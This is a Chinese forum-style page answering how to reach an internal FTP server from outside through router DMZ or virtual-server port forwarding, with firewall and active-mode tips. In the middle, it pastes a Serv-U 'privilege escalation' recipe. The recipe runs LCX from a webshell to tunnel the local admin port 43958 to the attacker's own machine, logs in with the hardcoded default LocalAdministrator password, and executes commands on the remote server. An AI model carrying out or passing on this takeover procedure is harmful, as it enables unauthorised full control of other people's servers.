一般路由器上有个DMZ主机,开启,然后写上你内网FTP服务器的IP即可
第二种方法,一般路由器上在【转发规则】里有【虚拟服务器】填写要转发的端口,例如FTP的21端口,然后填写你的内网FTP服务器的IP即可
你不会是在用灰鸽子吧?端口占用的可能性比较大
ftp提权问题,这个很简单摘录一段:
主要内容:利用webshell上传、执行功能,将默认serv-u ftp管理端口映射到外网,通过默认serv-u ftp连接密码,获得系统权限。
关键技术要点:serv-u ftp管理端口映射的详细方法。serv-u默认监听127.0.0.1:43958,serv-u默认管理账号是LocalAdministrator,默认密码是"#l@$ak#.lk0@P",在本机才能连接这个管理端口,但是如果我们可以把这个端口转发到我们本机上,通过本机来连接远程主机的自连接端口,我们就能完全接管目标服务器的SERV_U,建立有完全权限的帐号连接上去为所欲为,而在转发过程中我们并不需要有ADMIN的权限,只要有运行端口转发工具的权限就可以了. #l@$ak#.lk0@P在目标WEBSHELL上运行LCX lcx -slave 你的IP 5000 127.0.0.1 43958在本机上运行 lcx -listen 5000 21打开本地的SERV_U 在IP上填入127.0.0.1 帐号写LocalAdministrator 密码#l@$ak#.lk0@P此时的连接过程是本机连接21端口------------>转发往本机5000端口-------------->管道连接至远程机5000端口------------>转发至远程43958端口连接成功后,在本机登陆SERV_U就相当于登陆了远程的SERV_U你可以FTP登陆本机IP,输入上面的帐号和密码,在远程FTP服务器上执行命令
应该是你的防火墙设置问题,一是你FTP服务器所在电脑的防火墙,二是宽带路由的防火墙。外网访问你的FTP时建议使用FTP客户端软件,如FlashFXP,并且将客户端的连接模式设为“主动模式”,因为被动模式可能会被防火墙拦截。
欢迎分享,转载请注明来源:夏雨云
评论列表(0条)